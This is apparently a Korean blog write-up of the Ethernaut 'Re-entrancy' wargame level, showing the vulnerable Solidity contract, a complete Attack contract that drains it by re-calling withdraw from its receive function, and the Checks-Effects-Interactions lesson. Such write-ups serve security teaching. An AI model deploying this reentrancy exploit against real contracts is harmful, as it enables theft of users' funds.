[Ethernaut] 10. Re-entrancy

Ethernaut · 11/36
  1. 0. Hello Ethernaut
  2. 1. Fallback
  3. 2. Fallout
  4. 3. CoinFlip
  5. 4. Telephone
  6. 5. Token
  7. 6. Delegation
  8. 7. Force
  9. 8. Vault
  10. 9. King
  11. 10. Re-entrancy
  12. 11. Elevator
  13. 12. Privacy
  14. 13. Gatekeeper One
  15. 14. Gatekeeper Two
  16. 15. Naught Coin
  17. 16. Preservation
  18. 17. Recovery
  19. 18. MagicNumber
  20. 19. Alien Codex
  21. 20. Denial
  22. 21. Shop
  23. 22. Dex
  24. 23. Dex Two
  25. 24. Puzzle Wallet
  26. 25. Motorbike
  27. 26. DoubleEntryPoint
  28. 27. Good Samaritan
  29. 28. Gatekeeper Three
  30. 29. Switch
  31. 30. HigherOrder
  32. 31. Stake
  33. 32. Impersonator
  34. 33. Magic Animal Carousel
  35. 34. Bet House
  36. 35. Elliptic Token

1. 문제

 아래 컨트랙트의 모든 자금을 탈취하라.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

2. 해법

 Remix IDE를 사용해 다음의 컨트랙트를 작성합니다. 이 때 Reentrance 컨트랙트가 불러오는 라이브러리의 경로가 잘못되었기 때문에 코드를 그대로 사용할 수 없어서 인터페이스로 대체했습니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IRentrance {
    function donate(address _to) external payable;
    
    function balanceOf(address _who) external view returns (uint balance);
    
    function withdraw(uint _amount) external;

    receive() external payable;
}

contract Attack {
    address payable public reentrance;

    constructor(address _reentrance) public {
        reentrance = payable(_reentrance);
    }

    function attack() payable public {
        require(msg.value == 0.001 ether);

        IRentrance instance = IRentrance(reentrance);

       instance.donate{value: msg.value}(address(this));
       instance.withdraw(msg.value);
    }

    receive() external payable {
        IRentrance instance = IRentrance(reentrance);

        instance.withdraw(0.001 ether);
    }
}

 인스턴스에는 0.001 이더가 들어있습니다. Attack 컨트랙트에서는 이 0.001을 하드코딩하여 사용하였습니다.

 0.001 이더와 함께 attack 함수를 실행합니다.

 트랜잭션이 컨펌되고 Attack 컨트랙트의 잔액을 확인하면 0.002 이더가 된 것을 확인할 수 있습니다.

 그리고 Reentrance 컨트랙트의 잔액을 확인하면 0이 된 것을 확인할 수 있습니다.

 인스턴스를 제출합니다.


3. 재진입 공격

 재진입 공격과 관련해서는 제가 이전에 작성한 게시글의 내용과 완전히 동일한 로직으로 동작하기 때문에 이를 참고해주시면 좋을 것 같습니다.


4. 결론

먼저 검사하고(Checks) 상태를 변경한 다음(Effects) 외부 함수를 호출하자(Interactions).